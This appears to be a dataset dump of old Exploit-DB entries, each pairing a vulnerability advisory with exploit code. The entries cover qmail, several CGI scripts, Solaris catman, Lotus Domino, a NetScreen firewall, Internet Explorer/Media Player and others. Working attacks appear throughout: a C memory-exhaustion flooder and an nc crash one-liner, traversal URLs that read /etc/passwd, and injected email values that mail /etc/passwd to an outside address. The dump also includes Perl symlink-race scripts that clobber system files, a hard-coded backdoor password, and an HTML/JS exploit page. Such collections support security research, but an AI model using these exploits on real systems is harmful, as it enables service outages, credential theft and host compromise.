QLWD/code_shield huggingface dataset:
标题: Dan Bernstein QMail 1.0 3 - RCPT Denial of Service (2) EDB-ID: 20562 CVE: 1999-0144 类型: DOS 平台: LINUX 发布日期: 1997-06-12 漏洞利用脚本: // source: https://www.securityfocus.com/bid/2237/info
 
qmail is an e-mail server package developed by Dan Bernstein.
 
The qmail smtp server is subject to a denial of service. By specifying a large number of addresses in the recipient field (RCPT), qmail will stop responding.
 
This behaviour is due to the dynamically allocated memory being exhausted.
 
The condition occurs in situations where resource limits are not imposed on the server process.
 
Many systems may be running qmail without resource limits. The existence of working exploit code poses a threat to these vulnerable qmail servers.
 
Once affected, a restart of the qmail smtp service is required in order to gain normal functionality.
 
It should be noted that this type of threat is not limited to qmail. Resource exhaustion attacks can be used against many internet services by remote attackers.

/*
  * qmail-dos-2 - run a qmail system out of swap space by feeding an infinite
  * amount of recipients.
  *
  * Usage: qmail-dos-2 fully-qualified-hostname
  *
  * Author: Wietse Venema. The author is not responsible for abuse of this
  * program. Use at your own risk.
  */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <stdarg.h>
#include <errno.h>
#include <stdio.h>

void    fatal(char *fmt,...)
{
    va_list ap;

    va_start(ap, fmt);
    vfprintf(stderr, fmt, ap);
    va_end(ap);
    putc('\n', stderr);
    exit(1);
}

chat(FILE * fp, char *fmt,...)
{
    char    buf[BUFSIZ];
    va_list ap;

    fseek(fp, 0L, SEEK_SET);
    va_start(ap, fmt);
    vfprintf(fp, fmt, ap);
    va_end(ap);
    fputs("\r\n", fp);
    if (fflush(fp))
        fatal("connection lost");
    fseek(fp, 0L, SEEK_SET);
    if (fgets(buf, sizeof(buf), fp) == 0)
        fatal("connection lost");
    if (atoi(buf) / 100 != 2)
        fatal("%s", buf);
}

int     main(int argc, char **argv)
{
    struct sockaddr_in sin;
    struct hostent *hp;
    char    buf[BUFSIZ];
    int     sock;
    FILE   *fp;

    if (argc != 2)
        fatal("usage: %s host", argv[0]);
    if ((hp = gethostbyname(argv[1])) == 0)
        fatal("host %s not found", argv[1]);
    memset((char *) &sin, 0, sizeof(sin));
    sin.sin_family = AF_INET;
    memcpy((char *) &sin.sin_addr, hp->h_addr, sizeof(sin.sin_addr));
    sin.sin_port = htons(25);
    if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        fatal("socket: %s", strerror(errno));
    if (connect(sock, (struct sockaddr *) & sin, sizeof(sin)) < 0)
        fatal("connect to %s: %s", argv[1], strerror(errno));
    if ((fp = fdopen(sock, "r+")) == 0)
        fatal("fdopen: %s", strerror(errno));
    if (fgets(buf, sizeof(buf), fp) == 0)
        fatal("connection lost");
    chat(fp, "mail from:<me@me>", fp);
    for (;;)
        chat(fp, "rcpt to:<me@%s>", argv[1]);
} URL: https://www.exploit-db.com/exploits/20562
标题: eXtropia bbs_forum.cgi 1.0 - Arbitrary Command Execution EDB-ID: 20533 CVE: 2001-0123 类型: REMOTE 平台: CGI 发布日期: 2001-01-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/2177/info

bbs_forum.cgi is a popular Perl cgi script from eXtropia.com. It supports the creation and maintenance of web-based threaded discussion forums.

Version 1.0 of bbs_forum.cgi fails to properly validate user-supplied, URL-encoded input to the read environment variable. Maliciously-formed URLs submitted to the script may contain references to files on the host's filesystem, as well as shell commands which will be run with the privilege level of the webserver (ie, user 'nobody'). As a result, unpatched affected versions of the script permit an attacker to execute arbitrary code and to read arbitrary files on the vulnerable system. 

www.web*site.com/cgi-bin/bbs_forum.cgi?forum=<forum_name>&read=../../../../../../etc/hosts.allow

note: The section: <forum_name> must be a valid forum on the webserver. URL: https://www.exploit-db.com/exploits/20533
标题: ReiserFS 3.5.28 (Linux Kernel) - Code Execution / Denial of Service EDB-ID: 20535 CVE: 2001-0172 类型: DOS 平台: LINUX 发布日期: 2001-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/2180/info

ReiserFS is a file system alternative to the Linux ext2 file system. It was originally written by Hans Reiser, and is freely available and publicly maintained.

A problem has been reported in the handling of long file names with ReiserFS version 3.5.28 on SuSE Linux distribution 7.0. It is possible to create a directory with a long file name (the initial example displayed a directory with 768 characters), then attempt to list the file system using system binary ls or with built in shell function echo and create a Denial of Service. Upon attempting to list or echo the contents of the filesystem, a kernel buffer overflow occurs, overwriting variables on the stack including possibly the return address, as well as crashing the system. It may be possible for a malicious user to execute arbitrary code, deny service to legitimate users, and potentially break out of a chroot environment. This vulnerability is yet unverified. 

mkdir "$(perl -e 'print "x" x 768')" URL: https://www.exploit-db.com/exploits/20535
标题: WebMaster ConferenceRoom 1.8 Developer Edition - Denial of Service EDB-ID: 20534 CVE: 2001-0177 类型: DOS 平台: MULTIPLE 发布日期: 2001-01-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/2178/info

WebMaster ConferenceRoom Developer Edition is a chat package which enables a large community of users to chat together. ConferenceRoom has a wide range of capabilities and a user friendly channel moderation feature.

It is possible to cause a denial of service in ConferenceRoom. By making duplicate connections and executing special server commands in both sessions, ConferenceRoom will crash and refuse any new connections. A restart of the service is required in order to gain normal functionality. 

ConferenceRoom 1.8.1:

Make to connections to the irc server second being the clone of other. On second connection (clone) type "/ns buddy on". on first connection type "/ns buddy add <clone client nickname>". on clone type "/ns auth accept 1" and the services crashes.

ConferenceRoom 1.8.2:

"/ns buddy on" can't run, cuz professional edt. can't support "buddy" command. Register it one channel, and type it commands "/ns set authorize chanlists on", "/cs aop <#ChannelName> add <NickName>", "/ns auth accept 1". and the services crashes. URL: https://www.exploit-db.com/exploits/20534
标题: Microsoft Internet Explorer - Time Element Memory Corruption (MS11-050) EDB-ID: 20547 CVE: 2011-1255 类型: REMOTE 平台: WINDOWS 发布日期: 2012-08-16 漏洞利用脚本: ######################################################################################
# Vuln Title: Internet Explorer Remote Code Execution Exploit (DEP and ASLR Bypass)
# 
# Author: FaryadR (a.k.a Ciph3r)
# tested on : win 7 and IE 8 (DEP and ASLR)
# Twitter : https://twitter.com/faryadR
# Mail : Ciph3r.secure@gmail.com
# Website : http://0c0c0c0c.com
# Vendor : Microsoft
# Time Element Memory Corruption Vulnerability
#
######################################################################################


 vuln Description :
 
 The Timed Interactive Multimedia Extensions (aka HTML+TIME) implementation in
 Microsoft Internet Explorer 6 through 8 does not properly handle objects in memory,
 which allows remote attackers to execute arbitrary code by accessing an object that (1)
 was not properly initialized or (2) is deleted, aka "Time Element Memory Corruption Vulnerability."
 

Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20547.rar URL: https://www.exploit-db.com/exploits/20547
标题: Basilix Webmail 0.9.7 - Incorrect File Permissions EDB-ID: 20538 CVE: 2001-1044 类型: WEBAPPS 平台: PHP 发布日期: 2001-01-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/2198/info

A vulnerability has been reported in basilix webmail v. 0.9.7b.

Basilix Webmail ships with several configuration files that have the file extensions '.class' and '.inc'. Among other things, these files contain the authentication information for the MySQL database that the product uses.

These files reside in directories accessible via http. If the webserver is not configured to treat .class and .inc files as PHP scripts,they can be retrieved by remote users.

Properly exploited, this information can allow further attacks on the affected host.

http://target/class/mysql.class
http://target/inc/sendmail.inc (settings.inc and etc.) URL: https://www.exploit-db.com/exploits/20538
标题: Borland/Inprise Interbase 4.0/5.0/6.0 - Backdoor Password EDB-ID: 20537 CVE: 2001-0008 类型: REMOTE 平台: MULTIPLE 发布日期: 2001-01-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/2192/info

Interbase is an open source relational database offered by Borland Inprise Corporation.

Interbase contains a backdoor user account and password called "LOCKSMITH". When accessed this account will eliminate all implemented security allowing full control of any database and contents within the database, this level of access will allow any function to be performed including modification of objects, root access and execution of arbitrary functions. "LOCKSMITH" is hard coded in the database engine and is located in the jrd/pwd.h header.

Successful exploitation of this vulnerability will lead to complete compromise of the host. 

#define LOCKSMITH_USER "politically"

#define LOCKSMITH_PASSWORD "correct" URL: https://www.exploit-db.com/exploits/20537
标题: ScreenOS 1.73/2.x - Firewall Denial of Service EDB-ID: 20532 CVE: 2001-0007 类型: DOS 平台: SCO 发布日期: 2001-01-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/2176/info

NetScreen Firewall is a network appliance used to secure against intruders and various types of attacks to a network. NetScreen has a Web administrative Interface (WebUI) used to configure and set the firewall settings.

It is possible to cause a denial of service in NetScreen Firewall. Requesting an unusually long URL to WebUI listening on default port 80, will cause the firewall to crash. A restart of the service is required in order to gain normal functionality. 

Once the input URL is longer than 1220 bytes=A3=ACNetScreen firewall= will crash:

$echo -e "GET /`perl -e 'print "A"x1220'` HTTP/1.0\n\n"|nc= netscreen_firewall 80 URL: https://www.exploit-db.com/exploits/20532
标题: Brian Stanback bslist.cgi 1.0 - Remote Command Execution EDB-ID: 20525 CVE: 2001-0100 类型: REMOTE 平台: CGI 发布日期: 2000-12-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/2160/info

An input validation vulnerability exists in Brian Stanback's bslist.cgi, a script designed to coordinate mailing lists.

The script fails to properly filter ';' characters from the user-supplied email addresses collected by the script.

As a result, maliciously-formed values for this field can cause the the script to run arbitrary shell commands with the privilege level of the web server. 

This can be exploited by signing up for the mailing list with the email address of

'hacker@example.com;/usr/sbin/sendmail hacker@example.com < /etc/passwd' URL: https://www.exploit-db.com/exploits/20525
标题: Lotus Domino Server 5.0.x - Directory Traversal (2) EDB-ID: 20530 CVE: 2001-0009 类型: REMOTE 平台: MULTIPLE 发布日期: 2001-01-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/2173/info
 
It is possible for a remote user to gain access to any known file residing on the Lotus Domino Server 5.0.6 and previous. A specially crafted HTTP request comprised of '.nsf' and '../' along with the known filename, will display the contents of the particular file with read permissions.
 
Successful exploitation of this vulnerability could enable a remote user to gain access to systems files, password files, etc. This could lead to a complete compromise of the host.

#!/bin/sh

HOST=$1
PATH=$2

start()
{
 /usr/bin/lynx -dump http://$HOST/.nsf/../$PATH
}


if [ -n "$HOST" ]; then 
        start
else
        echo "$0 <host> <path>"
fi URL: https://www.exploit-db.com/exploits/20530
标题: Brian Stanback bsguest.cgi 1.0 - Remote Command Execution EDB-ID: 20524 CVE: 2001-0099 类型: REMOTE 平台: CGI 发布日期: 2000-12-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/2159/info

An input validation vulnerability exists in Brian Stanback's bsguest.cgi, a script designed to coordinate guestbook submissions from website visitors.

The script fails to properly filter ';' characters from the user-supplied email address collected by the script.

As a result, maliciously-formed values for this field can cause the the script to run arbitrary shell commands with the privilege level of the web server.


Attacker enters his email address as <whitehatjoe@hotmail.com>

'hacker@example.com;/usr/sbin/sendmail hacker@example.com < /etc/passwd',

server mails a confirmation letter along with the passwd file to the attacker. URL: https://www.exploit-db.com/exploits/20524
标题: Solaris 2.x/7.0/8 - 'Catman' Race Condition (2) EDB-ID: 20521 CVE: 2001-0095 类型: LOCAL 平台: SOLARIS 发布日期: 2000-11-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/2149/info
 
catman is a utility for creating preformatted man pages, distributed as part of the Solaris Operating Environment. A problem exists which could allow local users to overwrite or corrupt files owned by other users.
 
The problem occurs in the creation of temporary files by the catman program. Upon execution, catman creates files in the /tmp directory using the file name sman_<pid>, where pid is the Process ID of the running catman process. The creation of a symbolic link from /tmp/sman_<pid> to a file owned and writable by the user executing catman will result in the file being overwritten, or in the case of a system file, corrupted. This makes it possible for a user with malicious intent to overwrite or corrupt files owned by other users, and potentially overwrite or corrupt system files. The Sun BugID for this issue is 4392144. 

#!/usr/local/bin/perl -w 
# The problem is catman creates files in /tmp insecurly. They are based on the PID of the catman
# process,  catman will happily clobber any files that are symlinked to that file.
# The idea of this script is to watch the process list for the catman process, 
# get the pid and Create a symlink in /tmp to our file to be
# clobbered.  This exploit depends on system speed and process load.   
# This worked on a patched Solaris 2.7 box (August 2000 patch cluster)
# SunOS rootabega 5.7 Generic_106541-12 sun4u sparc SUNW,Ultra-1
# lwc@vapid.betteros.org   11/21/2000   Vapid Labs.
# http://vapid.betteros.org



$clobber = "/etc/pass";
while(1) {
open ps,"ps -ef | grep -v grep |grep -v PID |";

while(<ps>) {
@args = split " ", $_;

if (/catman/) { 
        print "Symlinking sman_$args[1] to  $clobber\n";
        symlink($clobber,"/tmp/sman_$args[1]");
        exit(1);
   }
 }

} URL: https://www.exploit-db.com/exploits/20521
标题: Technote 2000/2001 - 'board' File Disclosure EDB-ID: 20522 CVE: 2001-0074 类型: REMOTE 平台: CGI 发布日期: 2000-12-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/2155/info

Technote Inc. offers a Multicommunication Package which includes a web board type of service.

A script that ships with Technote, print.cgi, accepts a parameter called "board". This remotely-supplied variable is used as a filename when the open() function is called. In addition to allowing the attacker to specify a file to be opened remotely, the variable is not checked for "../" character sequences. As a result, a malicious remote user can specify an arbitrary file on the file system as this variable (by using ../ sequences followed by its real path), which will be opened by the script. Its contents will then be disclosed to the attacker.

Successful exploitation of this vulnerability could lead to the disclosure of sensitive information and possibly assist in further attacks against the victim

It should be noted that the attacker may only read files which are accessible to the web-server process. 

http://target/technote/technote/print.cgi?board=../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/20522
标题: Microsoft Windows Media Player 7.0 - JavaScript URL EDB-ID: 20528 CVE: 2001-0148 类型: REMOTE 平台: WINDOWS 发布日期: 2001-01-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/2167/info

Windows Media Player is an application used for digital audio, and video content viewing. It can be embedded in webpages as an ActiveX control.

It is possible to execute a javascript URL from within the Windows Media Player ActiveX control embedded in HTML. This javascript can be executed in arbitrary "already open" frames, specified within the ActiveX control. By doing this, an attacker can take over the frame's DOM (document object model), bypassing security restrictions. This would be accomplished through a special webpage and having the victim visit the webpage.

An attacker exploiting this vulnerability can read files on the users filesystem and reportedly execute arbitrary programs on the victim host. 

<HTML>
<HEAD>
<TITLE>
Windows Media Player 7 and IE vulnerability - executing arbitrary programs
</TITLE>
</HEAD>
<BODY>
<H3>
Windows Media Player 7 and IE vulnerability - executing arbitrary programs
</H3>
<BR>
<p>Legal Notice:
<br>This Advisory and Demonstration is Copyright (c) 2000 Georgi Guninski. You may distribute
it unmodified. You may not modify it and distribute it or distribute parts
of it without the author's written permission.
<p>Disclaimer:
<br>The opinions expressed in this advisory and program are my own and
not of any company.
<br>The usual standard disclaimer applies, especially the fact that Georgi
Guninski
<br>is not liable for any damages caused by direct or&nbsp; indirect use
of the information or functionality provided by this advisory or program.
<br>Georgi Guninski, bears no responsibility for content or misuse of this
advisory or program or any derivatives thereof.
<BR>
Read the <A HREF="wmp7ie-desc.html">Advisory</A> for more information.
<BR>
<object id="o1" classid="clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6" WIDTH=0 HEIGHT=0>
<PARAM NAME="defaultFrame" value="georgi">
</object>
<SCRIPT>
alert("This page reads C:\\test.txt");
window.open("file://c:/test.txt","georgi");
function f()
{
document.o1.object.launchURL("javascript:alert(document.body.innerText)");
}
setTimeout("f()",1000);
</SCRIPT>
<BR>
<center>(C) Copyright 2000 Georgi Guninski</center>
<BR>
<center>
| <a href="http://www.guninski.com">Home</a> | 
<a href="browsers.html">Internet Explorer</a> | 
<a href="win2k.html">Windows 2000</a> | 
<a href="exploit.html">AIX</a> | 
<a href="netscape.html">Netscape</a> | 
<a href="greets.html">Greets</a> | 
<a href="index.html">More...</a> | 
</center>
</BODY>
</HTML> URL: https://www.exploit-db.com/exploits/20528
标题: IBM HTTP Server 1.3 - AfpaCache/WebSphereNet.Data Denial of Service EDB-ID: 20531 CVE: 2001-0122 类型: DOS 平台: MULTIPLE 发布日期: 2001-01-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/2175/info

IBM HTTP Server contains AfpaCache directive which turns the Fast Response Cache Accelerator function on or off. WebSphere is a series of applications which are built upon IBM HTTP Server.

Both IBM HTTP Server and Websphere are subject to a denial of service. This is caused by exhausting computer resources with malformed HTTP GET requests. A restart of the service is required inorder to gain normal functionality.

GET / HTTP/1.0\r\nuser-agent: 20000xnull\r\n\r\n

This request must be made multiple times before the system will freeze. URL: https://www.exploit-db.com/exploits/20531
标题: Infinite Interchange 3.61 - Denial of Service EDB-ID: 20518 CVE: 2001-0097 类型: DOS 平台: WINDOWS 发布日期: 2000-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/2140/info

Infinite Interchange is a multi function email server which supports most common internet protocols. An example of various functions include an http server and webmail interface.

Unfortunately Interchange is subject to a denial of service. By requesting a malformed POST command to the HTTP server port comprised of approx 963 bytes, Interchange will crash. A restart of the service is required in order to gain normal functionality.

This vulnerability may be the result of a buffer overflow, although not verified this could lead to the execution of arbitrary code on the target host. 

telnet victim 80
POST (963+ bytes) HTTP/1.0 URL: https://www.exploit-db.com/exploits/20518
标题: Solaris 2.x/7.0/8 - 'Catman' Race Condition (1) EDB-ID: 20520 CVE: 2001-0095 类型: LOCAL 平台: SOLARIS 发布日期: 2000-11-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/2149/info

catman is a utility for creating preformatted man pages, distributed as part of the Solaris Operating Environment. A problem exists which could allow local users to overwrite or corrupt files owned by other users.

The problem occurs in the creation of temporary files by the catman program. Upon execution, catman creates files in the /tmp directory using the file name sman_<pid>, where pid is the Process ID of the running catman process. The creation of a symbolic link from /tmp/sman_<pid> to a file owned and writable by the user executing catman will result in the file being overwritten, or in the case of a system file, corrupted. This makes it possible for a user with malicious intent to overwrite or corrupt files owned by other users, and potentially overwrite or corrupt system files. The Sun BugID for this issue is 4392144. 

#!/usr/local/bin/perl -w 
# The problem is catman creates files in /tmp insecurly. They are based on the 
# PID of the catman process,  catman will happily clobber any files that are 
# symlinked to that file.
# The idea of this script is to create a block of symlinks to the target file 
# with the current PID  as a starting point.  Depending on what load your
# system has this creates 1000 files in /tmp as sman_$currentpid + 1000.
# The drawback is you would have to know around when root would be executing 
# catman. 
# A better solution would be to monitor for the catman process and create the 
# link before catman creates the file.  I think this is a really small window 
# however. This worked on a patched Solaris 2.7 box (August 2000 patch
# cluster)
# SunOS rootabega 5.7 Generic_106541-12 sun4u sparc SUNW,Ultra-1
# lwc@vapid.betteros.org   11/21/2000   Vapid Labs.
# http://vapid.betteros.org

$clobber = "/etc/passwd"; #file to clobber
$X=getpgrp();
$Xc=$X; #Constant
$Y=$X+1000;#Constant

while($X < $Y) {

print "Linking /tmp/sman_$X to $clobber :"; 
# Change $clobber to what you want to clobber.
if (symlink ($clobber, "/tmp/sman_$X")) {
        print "Sucess\n";
}
        else { print "failed, Busy system?\n";}
$X=$X+1;
}


#Watch /tmp and see if catman is executed in time.

while(1)  {

$list = "/usr/bin/ls -l /tmp | grep sman|grep root |";

open (list,$list) or "die cant open ls...\n";

while(<list>) {
        @args = split "_",$_;
        chop ($args[1]);
    if ($args[1] >= $Xc && $args[1] <= $Y){
                print "Looks like pid $args[1] is the winner\n cleaning....\n"; 
                `/usr/bin/rm -f /tmp/sman*`;
                exit(1);
    }
  }
} URL: https://www.exploit-db.com/exploits/20520